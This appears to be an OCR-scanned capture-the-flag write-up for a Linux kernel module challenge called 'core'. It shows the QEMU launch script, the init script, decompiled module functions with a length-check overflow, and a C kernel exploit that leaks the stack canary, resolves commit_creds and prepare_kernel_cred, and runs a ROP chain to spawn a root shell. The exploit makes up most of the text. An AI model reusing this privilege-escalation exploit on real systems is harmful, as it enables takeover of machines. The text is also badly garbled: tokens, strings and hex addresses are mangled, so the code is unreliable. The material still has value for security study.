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- 20185EM#Mf-core tar -xvf core_give.tar
give to_player/

give_to_player/bzImage
give_to_player/core.cpio
give_to_player/start.sh
give_to_player/vmlinux

- 20185&M M -core 1s

core_give.tar give_to_player

- 20185EMMf-core file give_to_player
give_to_player: directory
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start.sh

EF— T A startshil RX MR, XRERH-m ERESSUR128F R —HER

gemu-system-x86_64 \
-m 128M \
./bzImage \
./core.cpio \

-netdev user,id=t0@, -device el000,netdev=t0,id=nico \

-nographic \

f#[Ecore.cpioZ J5, F— Finit
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-» file system cat init

mount -t proc proc /proc

mount -t sysfs sysfs /sys

mount -t devtmpfs none /dev

/sbin/mdev -s

mkdir -p /dev/pts

mount -vt devpts -o gid=4,mode=620 none /dev/pts

chmod 666 /dev/ptmx

cat /proc/kallsyms /tmp/kallsyms
/proc/sys/kernel/kptr_restrict
/proc/sys/kernel/dmesg_restrict

ifconfig eth@® up

udhcpc -i ethe

ifconfig eth® 10.0.2.15 netmask 255.255.255.0

route add default gw 10.0.2.2

insmod /core.ko

poweroff -d 120 -f
setsid /bin/cttyhack setuidgid 1000 /bin/sh
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int64 init_module()

core_proc proc_create( , 438LL, OLL, &core_fops);
printk(&unk_2DE);
return OLL;

inte4 exit_core()
__int64 result;

if ( core_proc )
return remove_proc_entry(
return result;

inte4 _ fastcall core_ioctl(__int64 al, int a2, _ int64 a3)

switch ( a2 )
{
case Ox6677889B:
core_read(a3);
break;
case 0x6677889C:
printk(&unk_2CD);
off a3;

break:




case Ox6677889A:
printk(&unk_2B3);
core_copy_func(a3);
break;

)i
return OLL;

unsigned __ int64 _ fastcall core read(__int64
i

char *v2;

__inte4 1i;

unsigned __int64 result;

char v5[64];

unsigned __int64 v6;

v6 = _ readgsqword(@x28u);
printk(&unk_25B);
printk(&unk_275);
v2 V5;
for (i 16LL; i; i)
{

9;

]

strcpy(v5,
result copy_to_user(al, &v5[off], 64LL);
if ( !result )

return _ readgsqword(@x28u) V6;

__asm { swapgs }

return result;

inte4 _ fastcall core_copy func(__int64 al)

__int64 result;
_QWORD v2[10];

v2[8] __readgsqword(0x28u) ;
printk(&unk_215);
if (a1 > 63 )
{
printk(&unk_2A1);
return OXFFFFFFFFLL;
b
else
{
result (5]
gmemcpy(v2, &name, (unsigned _ intl6)al);

}

return result;

inte4 _ fastcall core write(__int64 al, _ int64 a2, unsigned __ int64 a3)

printk(&unk_215);
if ( a3 0x800 copy_from_user(&name, a2, a3) )




return (unsigned int)a3;
printk(&unk_230);
return OXFFFFFFF2LL;
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size_t user_cs, user_ss, user_rflags, user_sp;

void save_status(){

asm__(

core_read(int fd, char *user_buf){
ioctl(fd, ©x6677889B, user_buf);

set_off(int fd, long long len){
ioctl(fd, ©x6677889C, len);

core_copy_func(int fd, long long len){
ioctl(fd, ©x6677889A, len);

get_root_shell(){
if(!getuid()){
puts(
system(
}else{
puts(




commit_creds 9;
prepare_kernel cred
9;

no_load vmlinux_base

vmlinux_base

get _vmlinux_base(){

fd fopen(

char buf[0x30] {0};

while(fgets(buf, @x30, fd)){
if(commit_creds
return 0;
if(strstr(buf,
char hex[20] {0};
strncpy(hex, buf, 16);
sscanf(hex, 5
printf(
vmlinux_base
printf(
prepare_kernel cred
printf(

)i

)i

if(!(prepare_kernel cred
puts( )5
exit(0);

}

b

int main(int argc, char**argv)
save_status();
puts(

puts( )
puts(

int fd = open(
if(fd < @)

exit(9);

puts(

puts(
get_vmlinux_base();
puts ( )5
puts(

size_t offest vmlinux_base
printf( 5
puts(

set_off(fd, 0x40);

char buf[0x40] {0};
core_read(fd, buf);

size t canary ((size_t
printf(

puts(

size_t rop[0x1000]

int i;

)5
{e};

commit_

commit_creds

vmlinux_base

0;

oxffffffff81000000;

prepare_kernel cred)

commit_creds){

creds);
, commit_creds);
0x9c8e0;
, vmlinux_base);

0x9cce0;

, prepare_kernel cred);

commit_creds)){

{

)§

5 2)¢

)s
no_load_vmlinux_base;
offest);

)5

ybuf)[e];
, canary);




rop[i++] canary;

1
J

rop[i oxffffffff81000b2f

rop[i 9;

rop[i prepare_kernel cred;

rop[i oxffffffff810a0f49 offest;
rop[i oxffffffff81021e53 offest;
rop[i oxffffffff810laaba offest;
rop[i commit_creds;

rop[i oxffffffff8lavlada offest;
rop[i 9;

rop[i oxffffffff81050ac2 offest;
rop[i (size_t)get_root_shell;

rop[i user_cs;

rop[i user_rflags;

rop[i user_sp;

rop[i user_ss;

write(fd, rop, 0x500);

core_copy_func(fd, exffffffffffffooee (0x100));

return 0;
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